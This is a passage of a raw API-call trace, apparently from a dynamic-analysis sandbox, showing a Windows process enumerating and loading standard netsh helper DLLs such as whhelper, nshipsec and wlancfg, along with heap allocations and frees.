hHeap=0x3d0000) returned 1 [0251.711] RegisterHelper () returned 0x0 [0251.711] GetProcessHeap () returned 0x3d0000 [0251.711] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x898) returned 0x413460 [0251.711] GetProcessHeap () returned 0x3d0000 [0251.711] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x412c10 | out: hHeap=0x3d0000) returned 1 [0251.711] RegisterHelper () returned 0x0 [0251.711] GetProcessHeap () returned 0x3d0000 [0251.711] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x8f0) returned 0x413d00 [0251.711] GetProcessHeap () returned 0x3d0000 [0251.711] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x413460 | out: hHeap=0x3d0000) returned 1 [0251.711] RegisterHelper () returned 0x0 [0251.711] GetProcessHeap () returned 0x3d0000 [0251.711] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x948) returned 0x414600 [0251.711] GetProcessHeap () returned 0x3d0000 [0251.711] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x413d00 | out: hHeap=0x3d0000) returned 1 [0251.711] RegEnumValueW (in: hKey=0x90, dwIndex=0x9, lpValueName=0x3f4260, lpcchValueName=0x2477a0, lpReserved=0x0, lpType=0x0, lpData=0x3ee0a0, lpcbData=0x2477e8 | out: lpValueName="whhelper", lpcchValueName=0x2477a0, lpType=0x0, lpData=0x3ee0a0, lpcbData=0x2477e8) returned 0x0 [0251.711] _wcsicmp (_String1="whhelper.dll", _String2="ipxmontr.dll") returned 14 [0251.711] _wcsicmp (_String1="whhelper.dll", _String2="ipxpromn.dll") returned 14 [0251.712] GetProcessHeap () returned 0x3d0000 [0251.712] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x1b8) returned 0x410fd0 [0251.712] GetProcessHeap () returned 0x3d0000 [0251.712] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x12) returned 0x410360 [0251.712] GetProcessHeap () returned 0x3d0000 [0251.712] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x1a) returned 0x410b90 [0251.712] _wcsupr (in: _String="whhelper.dll" | out: _String="WHHELPER.DLL") returned="WHHELPER.DLL" [0251.712] GetProcessHeap () returned 0x3d0000 [0251.712] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x408af0 | out: hHeap=0x3d0000) returned 1 [0251.712] LoadLibraryW (lpLibFileName="WHHELPER.DLL") returned 0x7fef75b0000 [0251.718] GetProcAddress (hModule=0x7fef75b0000, lpProcName="InitHelperDll") returned 0x7fef75b210c [0251.718] InitHelperDll () returned 0x0 [0251.718] RegisterHelper () returned 0x0 [0251.718] GetProcessHeap () returned 0x3d0000 [0251.718] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x9a0) returned 0x413c10 [0251.718] GetProcessHeap () returned 0x3d0000 [0251.718] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x414600 | out: hHeap=0x3d0000) returned 1 [0251.719] RegEnumValueW (in: hKey=0x90, dwIndex=0xa, lpValueName=0x3f4260, lpcchValueName=0x2477a0, lpReserved=0x0, lpType=0x0, lpData=0x3ee0a0, lpcbData=0x2477e8 | out: lpValueName="hnetmon", lpcchValueName=0x2477a0, lpType=0x0, lpData=0x3ee0a0, lpcbData=0x2477e8) returned 0x0 [0251.719] _wcsicmp (_String1="hnetmon.dll", _String2="ipxmontr.dll") returned -1 [0251.719] _wcsicmp (_String1="hnetmon.dll", _String2="ipxpromn.dll") returned -1 [0251.719] GetProcessHeap () returned 0x3d0000 [0251.719] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x1e0) returned 0x408af0 [0251.719] GetProcessHeap () returned 0x3d0000 [0251.719] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x10) returned 0x410380 [0251.719] GetProcessHeap () returned 0x3d0000 [0251.719] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x18) returned 0x4103a0 [0251.719] _wcsupr (in: _String="hnetmon.dll" | out: _String="HNETMON.DLL") returned="HNETMON.DLL" [0251.719] GetProcessHeap () returned 0x3d0000 [0251.719] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x410fd0 | out: hHeap=0x3d0000) returned 1 [0251.719] LoadLibraryW (lpLibFileName="HNETMON.DLL") returned 0x7fef75a0000 [0251.794] GetProcAddress (hModule=0x7fef75a0000, lpProcName="InitHelperDll") returned 0x7fef75a22a4 [0251.794] InitHelperDll () returned 0x0 [0251.794] RegisterHelper () returned 0x0 [0251.794] GetProcessHeap () returned 0x3d0000 [0251.794] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x9f8) returned 0x414dc0 [0251.794] GetProcessHeap () returned 0x3d0000 [0251.794] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x413c10 | out: hHeap=0x3d0000) returned 1 [0251.794] RegEnumValueW (in: hKey=0x90, dwIndex=0xb, lpValueName=0x3f4260, lpcchValueName=0x2477a0, lpReserved=0x0, lpType=0x0, lpData=0x3ee0a0, lpcbData=0x2477e8 | out: lpValueName="rpc", lpcchValueName=0x2477a0, lpType=0x0, lpData=0x3ee0a0, lpcbData=0x2477e8) returned 0x0 [0251.794] _wcsicmp (_String1="rpcnsh.dll", _String2="ipxmontr.dll") returned 9 [0251.794] _wcsicmp (_String1="rpcnsh.dll", _String2="ipxpromn.dll") returned 9 [0251.794] GetProcessHeap () returned 0x3d0000 [0251.794] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x208) returned 0x408ce0 [0251.794] GetProcessHeap () returned 0x3d0000 [0251.794] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x8) returned 0x411300 [0251.795] GetProcessHeap () returned 0x3d0000 [0251.795] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x16) returned 0x410420 [0251.795] _wcsupr (in: _String="rpcnsh.dll" | out: _String="RPCNSH.DLL") returned="RPCNSH.DLL" [0251.795] GetProcessHeap () returned 0x3d0000 [0251.795] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x408af0 | out: hHeap=0x3d0000) returned 1 [0251.795] LoadLibraryW (lpLibFileName="RPCNSH.DLL") returned 0x7fef7590000 [0251.797] GetProcAddress (hModule=0x7fef7590000, lpProcName="InitHelperDll") returned 0x7fef7592e88 [0251.797] InitHelperDll () returned 0x0 [0251.797] RegisterHelper () returned 0x0 [0251.797] GetProcessHeap () returned 0x3d0000 [0251.797] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0xa50) returned 0x4157c0 [0251.798] GetProcessHeap () returned 0x3d0000 [0251.798] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x414dc0 | out: hHeap=0x3d0000) returned 1 [0251.798] RegisterHelper () returned 0x0 [0251.798] GetProcessHeap () returned 0x3d0000 [0251.798] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0xaa8) returned 0x416220 [0251.798] GetProcessHeap () returned 0x3d0000 [0251.798] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x4157c0 | out: hHeap=0x3d0000) returned 1 [0251.798] RegEnumValueW (in: hKey=0x90, dwIndex=0xc, lpValueName=0x3f4260, lpcchValueName=0x2477a0, lpReserved=0x0, lpType=0x0, lpData=0x3ee0a0, lpcbData=0x2477e8 | out: lpValueName="dot3cfg", lpcchValueName=0x2477a0, lpType=0x0, lpData=0x3ee0a0, lpcbData=0x2477e8) returned 0x0 [0251.798] _wcsicmp (_String1="dot3cfg.dll", _String2="ipxmontr.dll") returned -5 [0251.798] _wcsicmp (_String1="dot3cfg.dll", _String2="ipxpromn.dll") returned -5 [0251.798] GetProcessHeap () returned 0x3d0000 [0251.798] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x230) returned 0x416cd0 [0251.798] GetProcessHeap () returned 0x3d0000 [0251.798] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x10) returned 0x410440 [0251.798] GetProcessHeap () returned 0x3d0000 [0251.798] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x18) returned 0x410460 [0251.798] _wcsupr (in: _String="dot3cfg.dll" | out: _String="DOT3CFG.DLL") returned="DOT3CFG.DLL" [0251.798] GetProcessHeap () returned 0x3d0000 [0251.798] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x408ce0 | out: hHeap=0x3d0000) returned 1 [0251.798] LoadLibraryW (lpLibFileName="DOT3CFG.DLL") returned 0x7fef4b80000 [0251.816] GetProcAddress (hModule=0x7fef4b80000, lpProcName="InitHelperDll") returned 0x7fef4b8390c [0251.816] InitHelperDll () returned 0x0 [0251.816] RegisterHelper () returned 0x0 [0251.816] GetProcessHeap () returned 0x3d0000 [0251.816] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0xb00) returned 0x416f10 [0251.816] GetProcessHeap () returned 0x3d0000 [0251.816] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x416220 | out: hHeap=0x3d0000) returned 1 [0251.817] RegEnumValueW (in: hKey=0x90, dwIndex=0xd, lpValueName=0x3f4260, lpcchValueName=0x2477a0, lpReserved=0x0, lpType=0x0, lpData=0x3ee0a0, lpcbData=0x2477e8 | out: lpValueName="napmontr", lpcchValueName=0x2477a0, lpType=0x0, lpData=0x3ee0a0, lpcbData=0x2477e8) returned 0x0 [0251.817] _wcsicmp (_String1="napmontr.dll", _String2="ipxmontr.dll") returned 5 [0251.817] _wcsicmp (_String1="napmontr.dll", _String2="ipxpromn.dll") returned 5 [0251.817] GetProcessHeap () returned 0x3d0000 [0251.817] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x258) returned 0x417a20 [0251.817] GetProcessHeap () returned 0x3d0000 [0251.817] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x12) returned 0x410500 [0251.817] GetProcessHeap () returned 0x3d0000 [0251.817] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x1a) returned 0x408f40 [0251.817] _wcsupr (in: _String="napmontr.dll" | out: _String="NAPMONTR.DLL") returned="NAPMONTR.DLL" [0251.817] GetProcessHeap () returned 0x3d0000 [0251.817] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x416cd0 | out: hHeap=0x3d0000) returned 1 [0251.817] LoadLibraryW (lpLibFileName="NAPMONTR.DLL") returned 0x7fef4940000 [0251.847] GetProcAddress (hModule=0x7fef4940000, lpProcName="InitHelperDll") returned 0x7fef495048c [0251.847] InitHelperDll () returned 0x0 [0251.847] RegisterHelper () returned 0x0 [0251.847] GetProcessHeap () returned 0x3d0000 [0251.847] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0xb58) returned 0x4161d0 [0251.847] GetProcessHeap () returned 0x3d0000 [0251.847] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x416f10 | out: hHeap=0x3d0000) returned 1 [0251.847] RegisterHelper () returned 0x0 [0251.847] GetProcessHeap () returned 0x3d0000 [0251.847] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0xbb0) returned 0x416d30 [0251.847] GetProcessHeap () returned 0x3d0000 [0251.847] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x4161d0 | out: hHeap=0x3d0000) returned 1 [0251.847] RegisterHelper () returned 0x0 [0251.847] GetProcessHeap () returned 0x3d0000 [0251.847] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0xc08) returned 0x417f60 [0251.848] GetProcessHeap () returned 0x3d0000 [0251.848] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x416d30 | out: hHeap=0x3d0000) returned 1 [0251.848] RegEnumValueW (in: hKey=0x90, dwIndex=0xe, lpValueName=0x3f4260, lpcchValueName=0x2477a0, lpReserved=0x0, lpType=0x0, lpData=0x3ee0a0, lpcbData=0x2477e8 | out: lpValueName="nshipsec", lpcchValueName=0x2477a0, lpType=0x0, lpData=0x3ee0a0, lpcbData=0x2477e8) returned 0x0 [0251.848] _wcsicmp (_String1="nshipsec.dll", _String2="ipxmontr.dll") returned 5 [0251.848] _wcsicmp (_String1="nshipsec.dll", _String2="ipxpromn.dll") returned 5 [0251.848] GetProcessHeap () returned 0x3d0000 [0251.848] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x280) returned 0x418b70 [0251.848] GetProcessHeap () returned 0x3d0000 [0251.848] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x12) returned 0x4105c0 [0251.848] GetProcessHeap () returned 0x3d0000 [0251.848] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x1a) returned 0x414030 [0251.848] _wcsupr (in: _String="nshipsec.dll" | out: _String="NSHIPSEC.DLL") returned="NSHIPSEC.DLL" [0251.848] GetProcessHeap () returned 0x3d0000 [0251.848] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x417a20 | out: hHeap=0x3d0000) returned 1 [0251.848] LoadLibraryW (lpLibFileName="NSHIPSEC.DLL") returned 0x7fef4660000 [0251.877] GetProcAddress (hModule=0x7fef4660000, lpProcName="InitHelperDll") returned 0x7fef4666230 [0251.878] InitHelperDll () returned 0x0 [0251.878] RegisterHelper () returned 0x0 [0251.878] GetProcessHeap () returned 0x3d0000 [0251.878] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0xc60) returned 0x41be00 [0251.878] GetProcessHeap () returned 0x3d0000 [0251.878] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x417f60 | out: hHeap=0x3d0000) returned 1 [0251.878] RegisterHelper () returned 0x0 [0251.878] GetProcessHeap () returned 0x3d0000 [0251.878] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0xcb8) returned 0x41ca70 [0251.879] GetProcessHeap () returned 0x3d0000 [0251.879] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x41be00 | out: hHeap=0x3d0000) returned 1 [0251.879] RegisterHelper () returned 0x0 [0251.879] GetProcessHeap () returned 0x3d0000 [0251.879] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0xd10) returned 0x41d730 [0251.879] GetProcessHeap () returned 0x3d0000 [0251.879] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x41ca70 | out: hHeap=0x3d0000) returned 1 [0252.086] RegEnumValueW (in: hKey=0x90, dwIndex=0xf, lpValueName=0x3f4260, lpcchValueName=0x2477a0, lpReserved=0x0, lpType=0x0, lpData=0x3ee0a0, lpcbData=0x2477e8 | out: lpValueName="nettrace", lpcchValueName=0x2477a0, lpType=0x0, lpData=0x3ee0a0, lpcbData=0x2477e8) returned 0x0 [0252.086] _wcsicmp (_String1="nettrace.dll", _String2="ipxmontr.dll") returned 5 [0252.086] _wcsicmp (_String1="nettrace.dll", _String2="ipxpromn.dll") returned 5 [0252.086] GetProcessHeap () returned 0x3d0000 [0252.086] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x2a8) returned 0x417f60 [0252.086] GetProcessHeap () returned 0x3d0000 [0252.086] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x12) returned 0x4107a0 [0252.086] GetProcessHeap () returned 0x3d0000 [0252.086] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x1a) returned 0x417560 [0252.086] _wcsupr (in: _String="nettrace.dll" | out: _String="NETTRACE.DLL") returned="NETTRACE.DLL" [0252.086] GetProcessHeap () returned 0x3d0000 [0252.086] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x418b70 | out: hHeap=0x3d0000) returned 1 [0252.086] LoadLibraryW (lpLibFileName="NETTRACE.DLL") returned 0x7fef4510000 [0252.098] GetProcAddress (hModule=0x7fef4510000, lpProcName="InitHelperDll") returned 0x7fef4557360 [0252.098] InitHelperDll () returned 0x0 [0252.098] RegisterHelper () returned 0x0 [0252.098] GetProcessHeap () returned 0x3d0000 [0252.098] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0xd68) returned 0x422600 [0252.098] GetProcessHeap () returned 0x3d0000 [0252.098] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x41d730 | out: hHeap=0x3d0000) returned 1 [0252.098] RegEnumValueW (in: hKey=0x90, dwIndex=0x10, lpValueName=0x3f4260, lpcchValueName=0x2477a0, lpReserved=0x0, lpType=0x0, lpData=0x3ee0a0, lpcbData=0x2477e8 | out: lpValueName="WcnNetsh", lpcchValueName=0x2477a0, lpType=0x0, lpData=0x3ee0a0, lpcbData=0x2477e8) returned 0x0 [0252.099] _wcsicmp (_String1="WcnNetsh.dll", _String2="ipxmontr.dll") returned 14 [0252.099] _wcsicmp (_String1="WcnNetsh.dll", _String2="ipxpromn.dll") returned 14 [0252.099] GetProcessHeap () returned 0x3d0000 [0252.099] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x2d0) returned 0x423370 [0252.099] GetProcessHeap () returned 0x3d0000 [0252.099] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x12) returned 0x4106a0 [0252.099] GetProcessHeap () returned 0x3d0000 [0252.099] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x1a) returned 0x422550 [0252.099] _wcsupr (in: _String="WcnNetsh.dll" | out: _String="WCNNETSH.DLL") returned="WCNNETSH.DLL" [0252.099] GetProcessHeap () returned 0x3d0000 [0252.099] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x417f60 | out: hHeap=0x3d0000) returned 1 [0252.099] LoadLibraryW (lpLibFileName="WCNNETSH.DLL") returned 0x7fef4b50000 [0252.103] GetProcAddress (hModule=0x7fef4b50000, lpProcName="InitHelperDll") returned 0x7fef4b528e4 [0252.103] InitHelperDll () returned 0x0 [0252.103] RegisterHelper () returned 0x0 [0252.103] GetProcessHeap () returned 0x3d0000 [0252.103] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0xdc0) returned 0x423e50 [0252.104] GetProcessHeap () returned 0x3d0000 [0252.104] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x422600 | out: hHeap=0x3d0000) returned 1 [0252.104] RegEnumValueW (in: hKey=0x90, dwIndex=0x11, lpValueName=0x3f4260, lpcchValueName=0x2477a0, lpReserved=0x0, lpType=0x0, lpData=0x3ee0a0, lpcbData=0x2477e8 | out: lpValueName="p2pnetsh", lpcchValueName=0x2477a0, lpType=0x0, lpData=0x3ee0a0, lpcbData=0x2477e8) returned 0x0 [0252.104] _wcsicmp (_String1="p2pnetsh.dll", _String2="ipxmontr.dll") returned 7 [0252.104] _wcsicmp (_String1="p2pnetsh.dll", _String2="ipxpromn.dll") returned 7 [0252.104] GetProcessHeap () returned 0x3d0000 [0252.104] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x2f8) returned 0x417f60 [0252.104] GetProcessHeap () returned 0x3d0000 [0252.104] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x12) returned 0x4106c0 [0252.104] GetProcessHeap () returned 0x3d0000 [0252.104] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x1a) returned 0x423980 [0252.104] _wcsupr (in: _String="p2pnetsh.dll" | out: _String="P2PNETSH.DLL") returned="P2PNETSH.DLL" [0252.104] GetProcessHeap () returned 0x3d0000 [0252.104] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x423370 | out: hHeap=0x3d0000) returned 1 [0252.104] LoadLibraryW (lpLibFileName="P2PNETSH.DLL") returned 0x7fef4910000 [0252.114] GetProcAddress (hModule=0x7fef4910000, lpProcName="InitHelperDll") returned 0x7fef4915568 [0252.114] InitHelperDll () returned 0x0 [0252.114] RegisterHelper () returned 0x0 [0252.114] GetProcessHeap () returned 0x3d0000 [0252.114] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0xe18) returned 0x42ae40 [0252.114] GetProcessHeap () returned 0x3d0000 [0252.114] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x423e50 | out: hHeap=0x3d0000) returned 1 [0252.114] RegisterHelper () returned 0x0 [0252.114] GetProcessHeap () returned 0x3d0000 [0252.114] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0xe70) returned 0x42bc60 [0252.114] GetProcessHeap () returned 0x3d0000 [0252.114] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x42ae40 | out: hHeap=0x3d0000) returned 1 [0252.114] RegisterHelper () returned 0x0 [0252.115] GetProcessHeap () returned 0x3d0000 [0252.115] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0xec8) returned 0x42cae0 [0252.115] GetProcessHeap () returned 0x3d0000 [0252.115] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x42bc60 | out: hHeap=0x3d0000) returned 1 [0252.115] RegisterHelper () returned 0x0 [0252.115] GetProcessHeap () returned 0x3d0000 [0252.115] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0xf20) returned 0x42ae40 [0252.115] GetProcessHeap () returned 0x3d0000 [0252.115] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x42cae0 | out: hHeap=0x3d0000) returned 1 [0252.115] RegisterHelper () returned 0x0 [0252.115] GetProcessHeap () returned 0x3d0000 [0252.115] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0xf78) returned 0x42bd70 [0252.115] GetProcessHeap () returned 0x3d0000 [0252.115] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x42ae40 | out: hHeap=0x3d0000) returned 1 [0252.115] RegisterHelper () returned 0x0 [0252.115] GetProcessHeap () returned 0x3d0000 [0252.115] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0xfd0) returned 0x42ccf0 [0252.115] GetProcessHeap () returned 0x3d0000 [0252.115] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x42bd70 | out: hHeap=0x3d0000) returned 1 [0252.116] RegisterHelper () returned 0x0 [0252.116] GetProcessHeap () returned 0x3d0000 [0252.116] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x1028) returned 0x42ae40 [0252.116] GetProcessHeap () returned 0x3d0000 [0252.116] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x42ccf0 | out: hHeap=0x3d0000) returned 1 [0252.116] RegisterHelper () returned 0x0 [0252.116] GetProcessHeap () returned 0x3d0000 [0252.116] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x1080) returned 0x42be70 [0252.116] GetProcessHeap () returned 0x3d0000 [0252.116] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x42ae40 | out: hHeap=0x3d0000) returned 1 [0252.116] RegisterHelper () returned 0x0 [0252.116] GetProcessHeap () returned 0x3d0000 [0252.116] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x10d8) returned 0x42cf00 [0252.116] GetProcessHeap () returned 0x3d0000 [0252.116] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x42be70 | out: hHeap=0x3d0000) returned 1 [0252.116] RegisterHelper () returned 0x0 [0252.116] GetProcessHeap () returned 0x3d0000 [0252.116] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x1130) returned 0x42dfe0 [0252.116] GetProcessHeap () returned 0x3d0000 [0252.116] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x42cf00 | out: hHeap=0x3d0000) returned 1 [0252.117] RegEnumValueW (in: hKey=0x90, dwIndex=0x12, lpValueName=0x3f4260, lpcchValueName=0x2477a0, lpReserved=0x0, lpType=0x0, lpData=0x3ee0a0, lpcbData=0x2477e8 | out: lpValueName="wwancfg", lpcchValueName=0x2477a0, lpType=0x0, lpData=0x3ee0a0, lpcbData=0x2477e8) returned 0x0 [0252.117] _wcsicmp (_String1="wwancfg.dll", _String2="ipxmontr.dll") returned 14 [0252.117] _wcsicmp (_String1="wwancfg.dll", _String2="ipxpromn.dll") returned 14 [0252.117] GetProcessHeap () returned 0x3d0000 [0252.117] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x320) returned 0x41da60 [0252.117] GetProcessHeap () returned 0x3d0000 [0252.117] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x10) returned 0x410720 [0252.117] GetProcessHeap () returned 0x3d0000 [0252.117] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x18) returned 0x410700 [0252.117] _wcsupr (in: _String="wwancfg.dll" | out: _String="WWANCFG.DLL") returned="WWANCFG.DLL" [0252.117] GetProcessHeap () returned 0x3d0000 [0252.117] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x417f60 | out: hHeap=0x3d0000) returned 1 [0252.117] LoadLibraryW (lpLibFileName="WWANCFG.DLL") returned 0x7fef4830000 [0252.120] GetProcAddress (hModule=0x7fef4830000, lpProcName="InitHelperDll") returned 0x7fef48320c8 [0252.120] InitHelperDll () returned 0x0 [0252.120] RegisterHelper () returned 0x0 [0252.120] GetProcessHeap () returned 0x3d0000 [0252.120] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x1188) returned 0x42ae40 [0252.120] GetProcessHeap () returned 0x3d0000 [0252.120] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x42dfe0 | out: hHeap=0x3d0000) returned 1 [0252.120] RegEnumValueW (in: hKey=0x90, dwIndex=0x13, lpValueName=0x3f4260, lpcchValueName=0x2477a0, lpReserved=0x0, lpType=0x0, lpData=0x3ee0a0, lpcbData=0x2477e8 | out: lpValueName="wlancfg", lpcchValueName=0x2477a0, lpType=0x0, lpData=0x3ee0a0, lpcbData=0x2477e8) returned 0x0 [0253.088] _wcsicmp (_String1="wlancfg.dll", _String2="ipxmontr.dll") returned 14 [0253.088] _wcsicmp (_String1="wlancfg.dll", _String2="ipxpromn.dll") returned 14 [0253.088] GetProcessHeap () returned 0x3d0000 [0253.088] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x348) returned 0x423e50 [0253.088] GetProcessHeap () returned 0x3d0000 [0253.088] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x10) returned 0x41ce80 [0253.088] GetProcessHeap () returned 0x3d0000 [0253.088] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x18) returned 0x41cec0 [0253.088] _wcsupr (in: _String="wlancfg.dll" | out: _String="WLANCFG.DLL") returned="WLANCFG.DLL" [0253.088] GetProcessHeap () returned 0x3d0000 [0253.088] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x41da60 | out: hHeap=0x3d0000) returned 1 [0253.088] LoadLibraryW (lpLibFileName="WLANCFG.DLL") returned 0x7fef43b0000 [0253.093] GetProcAddress (hModule=0x7fef43b0000, lpProcName="InitHelperDll") returned 0x7fef43b613c [0253.093] InitHelperDll () returned 0x0 [0253.093] RegisterHelper () returned 0x0 [0253.093] GetProcessHeap () returned 0x3d0000 [0253.093] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x11e0) returned 0x42cfd0 [0253.093] GetProcessHeap () returned 0x3d0000 [0253.093] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x42ae40 | out: hHeap=0x3d0000) returned 1 [0253.093] RegEnumValueW (in: hKey=0x90, dwIndex=0x14, lpValueName=0x3f4260, lpcchValueName=0x2477a0, lpReserved=0x0, lpType=0x0, lpData=0x3ee0a0, lpcbData=0x2477e8 | out: lpValueName="peerdistsh", lpcchValueName=0x2477a0, lpType=0x0, lpData=0x3ee0a0, lpcbData=0x2477e8) returned 0x0 [0253.093] _wcsicmp (_String1="peerdistsh.dll", _String2="ipxmontr.dll") returned 7 [0253.093] _wcsicmp (_String1="peerdistsh.dll", _String2="ipxpromn.dll") returned 7 [0253.093] GetProcessHeap () returned 0x3d0000 [0253.093] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x370) returned 0x4241a0 [0253.093] GetProcessHeap () returned 0x3d0000 [0253.093] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x16) returned 0x41cee0 [0253.093] GetProcessHeap () returned 0x3d0000 [0253.093] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x1e) returned 0x425800 [0253.094] _wcsupr (in: _String="peerdistsh.dll" | out: _String="PEERDISTSH.DLL") returned="PEERDISTSH.DLL" [0253.094] GetProcessHeap () returned 0x3d0000 [0253.094] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x423e50 | out: hHeap=0x3d0000) returned 1 [0253.094] LoadLibraryW (lpLibFileName="PEERDISTSH.DLL") returned 0x7fef4200000 [0253.096] GetProcAddress (hModule=0x7fef4200000, lpProcName="InitHelperDll") returned 0x7fef427e69c [0253.096] InitHelperDll () returned 0x0 [0253.096] RegisterHelper () returned 0x0 [0253.096] GetProcessHeap () returned 0x3d0000 [0253.096] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, 